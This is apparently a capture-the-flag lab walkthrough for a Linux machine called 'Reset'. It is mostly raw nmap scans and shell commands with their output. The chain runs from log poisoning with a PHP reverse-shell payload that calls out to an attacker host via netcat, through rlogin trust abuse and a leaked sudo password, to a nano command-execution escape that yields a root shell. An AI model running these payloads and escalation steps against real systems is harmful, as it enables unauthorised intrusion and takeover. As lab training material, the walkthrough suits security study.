Reset
#easy #linux #logPoisoning

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv 10.129.101.101 -oA allPorts




Last updated
#easy #linux #logPoisoning

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv 10.129.101.101 -oA allPorts




Last updated
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
512/tcp open exec syn-ack ttl 63
513/tcp open login syn-ack ttl 63
514/tcp open shell syn-ack ttl 63echo -n $(cat allPorts.gnmap | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',') | xclip -sel clipnmap -p 22,80,512,513,514 -sCV -Pn -n -vv 10.129.101.101 -oA openPortsServiceVersionsPORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6a:16:1f:c8:fe:fd:e3:98:a6:85:cf:fe:7b:0e:60:aa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIyAf6GPee+rQqSK2Xs/sDBPHvOh109nei1YDinqEqeQRyHAu7cYctKMIK5CFZojCtyJqLBB5Tmw7v6si1cjyBY=
| 256 e4:08:cc:5f:8e:56:25:8f:38:c3:ec:df:b8:86:0c:69 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILiu1L4RnPAcunzYAHckqjzFY2I4PHhzCheH+7SMZKnS
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Admin Login
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
512/tcp open exec syn-ack ttl 63 netkit-rsh rexecd
513/tcp open login? syn-ack ttl 63
514/tcp open shell syn-ack ttl 63 Netkit rshd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelhttp://10.129.101.101/<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.137 1111 >/tmp/f'); ?>nc -lnvp 1111www-data@reset:/var/www/html$ ls /home/*
ls: cannot open directory '/home/local': Permission denied
/home/sadm:
user.txt
www-data@reset:/var/www/html$ cat /home/sadm/user.txtwww-data@reset:/var/www/html$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r
# command access to your system .
- root
- local
+ sadm❯ su sadm
Contraseña:
$ rlogin -l sadm 10.129.234.130
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Sep 24 03:53:17 PM UTC 2025
System load: 0.0
Usage of /: 65.2% of 5.22GB
Memory usage: 13%
Swap usage: 0%
Processes: 243
Users logged in: 1sadm@reset:~$ ps aux
sadm 1225 0.0 0.1 8636 3956 ? Ss 14:15 0:00 tmux new-session -d -s sadm_sessionsadm@reset:~$ tmux attach -t sadm_sessionecho 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh
sadm@reset:~$ echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh
Too many errors from stdin
sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !syslog
User sadm may run the following commands on reset:
(ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
(ALL) PASSWD: /usr/bin/tail /var/log/syslog
(ALL) PASSWD: /usr/bin/tail /var/log/auth.logsudo /usr/bin/nano /etc/firewall.sh^R ^XCommand to execute: reset; bash 1>&0 2>&0root@reset:/home/sadm# whoami
root
root@reset:/home/sadm# cd
root@reset:~# ls
root_279e22f8.txt snap
root@reset:~# cat root_279e22f8.txt